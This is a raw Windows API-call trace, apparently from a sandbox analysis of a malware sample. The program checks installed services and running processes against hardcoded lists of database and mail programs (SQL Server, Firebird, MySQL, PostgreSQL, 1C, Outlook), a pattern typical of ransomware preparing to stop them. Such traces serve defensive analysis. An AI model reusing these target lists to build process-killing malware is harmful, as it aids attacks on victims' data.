[0245.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0245.347] lstrlenW (lpString="DPS") returned 3 [0245.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0245.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0245.348] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0245.348] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0245.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0245.348] lstrlenW (lpString="eventlog") returned 8 [0245.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0245.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0245.348] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0245.348] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0245.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0245.348] lstrlenW (lpString="EventSystem") returned 11 [0245.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0245.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0245.348] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0245.348] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0245.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0245.348] lstrlenW (lpString="gpsvc") returned 5 [0245.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0245.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0245.348] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0245.348] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0245.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0245.348] lstrlenW (lpString="LanmanWorkstation") returned 17 [0245.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.348] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0245.348] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0245.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0245.348] lstrlenW (lpString="lmhosts") returned 7 [0245.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0245.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0245.348] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0245.348] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0245.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0245.348] lstrlenW (lpString="MMCSS") returned 5 [0245.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0245.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0245.349] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0245.349] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0245.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0245.349] lstrlenW (lpString="MpsSvc") returned 6 [0245.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0245.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0245.349] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0245.349] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0245.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0245.349] lstrlenW (lpString="NlaSvc") returned 6 [0245.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0245.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0245.349] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0245.349] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0245.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0245.349] lstrlenW (lpString="nsi") returned 3 [0245.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0245.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0245.349] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0245.349] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0245.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0245.349] lstrlenW (lpString="PcaSvc") returned 6 [0245.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0245.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0245.349] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0245.349] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0245.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0245.349] lstrlenW (lpString="PlugPlay") returned 8 [0245.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0245.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0245.349] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0245.349] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0245.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0245.349] lstrlenW (lpString="Power") returned 5 [0245.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0245.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0245.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0245.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0245.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0245.350] lstrlenW (lpString="ProfSvc") returned 7 [0245.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0245.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0245.350] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0245.350] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0245.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0245.350] lstrlenW (lpString="RpcEptMapper") returned 12 [0245.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.350] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0245.350] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0245.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0245.350] lstrlenW (lpString="RpcSs") returned 5 [0245.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0245.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0245.350] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0245.350] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0245.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0245.350] lstrlenW (lpString="SamSs") returned 5 [0245.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0245.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0245.350] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0245.350] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0245.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0245.351] lstrlenW (lpString="Schedule") returned 8 [0245.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0245.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0245.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0245.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0245.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0245.351] lstrlenW (lpString="SENS") returned 4 [0245.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0245.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0245.351] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0245.351] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0245.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0245.351] lstrlenW (lpString="ShellHWDetection") returned 16 [0245.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.351] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0245.351] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0245.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0245.351] lstrlenW (lpString="Spooler") returned 7 [0245.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0245.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0245.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0245.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0245.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0245.351] lstrlenW (lpString="Themes") returned 6 [0245.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0245.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0245.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0245.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0245.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0245.352] lstrlenW (lpString="UxSms") returned 5 [0245.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0245.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0245.352] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0245.352] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0245.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0245.352] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x43493f0 | out: hHeap=0x530000) returned 1 [0245.352] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0245.354] Process32FirstW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.354] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.354] lstrlenW (lpString="System") returned 6 [0245.355] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0245.355] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0245.355] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0245.355] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0245.355] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0245.355] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0245.355] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0245.355] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.355] lstrlenW (lpString="smss.exe") returned 8 [0245.355] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0245.355] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0245.355] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0245.355] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0245.355] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0245.355] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0245.355] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0245.355] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.356] lstrlenW (lpString="csrss.exe") returned 9 [0245.356] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0245.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0245.356] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0245.356] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0245.356] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0245.356] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0245.356] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0245.356] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.356] lstrlenW (lpString="wininit.exe") returned 11 [0245.356] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0245.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0245.356] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0245.356] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0245.356] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0245.356] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0245.356] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0245.356] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.357] lstrlenW (lpString="csrss.exe") returned 9 [0245.357] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0245.357] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0245.357] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0245.357] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0245.357] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0245.357] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0245.357] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0245.357] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.357] lstrlenW (lpString="winlogon.exe") returned 12 [0245.357] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0245.357] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0245.357] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0245.357] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0245.357] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0245.357] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0245.357] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0245.357] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.358] lstrlenW (lpString="services.exe") returned 12 [0245.358] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0245.358] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0245.358] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0245.358] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0245.358] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0245.358] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0245.358] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0245.358] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.358] lstrlenW (lpString="lsass.exe") returned 9 [0245.358] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0245.358] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0245.358] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0245.358] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0245.358] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0245.358] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0245.358] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0245.358] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0245.359] lstrlenW (lpString="lsm.exe") returned 7 [0245.359] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0245.359] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0245.359] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0245.359] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0245.359] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0245.359] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0245.359] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0245.359] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.359] lstrlenW (lpString="svchost.exe") returned 11 [0245.359] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0245.359] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0245.359] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0245.359] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0245.359] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0245.359] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0245.359] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0245.359] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.360] lstrlenW (lpString="svchost.exe") returned 11 [0245.360] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0245.360] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.360] lstrlenW (lpString="svchost.exe") returned 11 [0245.360] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0245.360] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0245.361] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0245.361] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0245.361] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.361] lstrlenW (lpString="svchost.exe") returned 11 [0245.361] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0245.361] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0245.361] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0245.361] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0245.361] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0245.361] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0245.361] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0245.361] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.361] lstrlenW (lpString="svchost.exe") returned 11 [0245.361] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0245.362] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0245.362] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0245.362] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.362] lstrlenW (lpString="audiodg.exe") returned 11 [0245.362] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.362] lstrlenW (lpString="svchost.exe") returned 11 [0245.362] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.363] lstrlenW (lpString="svchost.exe") returned 11 [0245.363] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0245.363] lstrlenW (lpString="userinit.exe") returned 12 [0245.363] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.363] lstrlenW (lpString="dwm.exe") returned 7 [0245.363] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.364] lstrlenW (lpString="explorer.exe") returned 12 [0245.364] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.364] lstrlenW (lpString="spoolsv.exe") returned 11 [0245.364] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, 